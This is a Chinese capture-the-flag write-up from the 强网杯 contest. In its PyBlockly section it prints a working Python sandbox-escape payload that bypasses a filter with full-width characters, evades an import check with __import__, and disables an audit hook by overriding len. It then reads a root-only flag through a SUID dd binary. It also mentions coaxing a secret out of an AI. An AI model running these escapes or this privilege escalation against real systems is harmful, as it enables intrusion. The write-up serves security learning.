强网杯遗憾收场。
Misc givemesecret
AI 诱导,对话如下:
Web PyBlockly
抓包,获取请求如下:
审计源代码,发现在正则过滤,但是还使用了 unidecode.unidecode()
来对传入的文本进行转码,所以可以通过全角字符来进行绕过:
AST 对 import
的过滤,使用 __import__
就可以绕过了。
__import__('os').system('whoami')
在 do
函数中,添加了 audit_hook
钩子函数,对调用的函数进行了过滤,长度不能大于 4 ,当传入 __import__('os').system()
时调用的是 os.system()
,长度大于 4 ,所以无法执行。
为了绕过这个限制,根据 CTF Pyjail 沙箱逃逸绕过合集 提到的:
将内置函数 len
修改为返回值恒为 0 即可:
globals()['__builtins__'].len = lambda x: 0
最后得到的 Payload 如下(使用全角字符):
');\n\nglobals()['__builtins__'].len = lambda x:0; print(__import__('os').system('whoami'));\n\nprint('
直接读取 /flag 无回显,查看权限发现需要提权:
ls -lh /flag
查找具有 SUID 权限的文件:
find / -perm -u=s -type f 2>/dev/null
发现 dd 命令具有 SUID 权限,所以使用它将 /flag 文件的内容导出到当前目录,即可查看文件内容:
dd if=/flag of=./flag.txt
cat ./flag.txt
Web xiaohuanxiong
访问 /admin 路由发现 CMS 信息:
在 GitHub 上找到小涴熊 CMS 5.0 的源码: https://github.com/Empty2081/raccoon5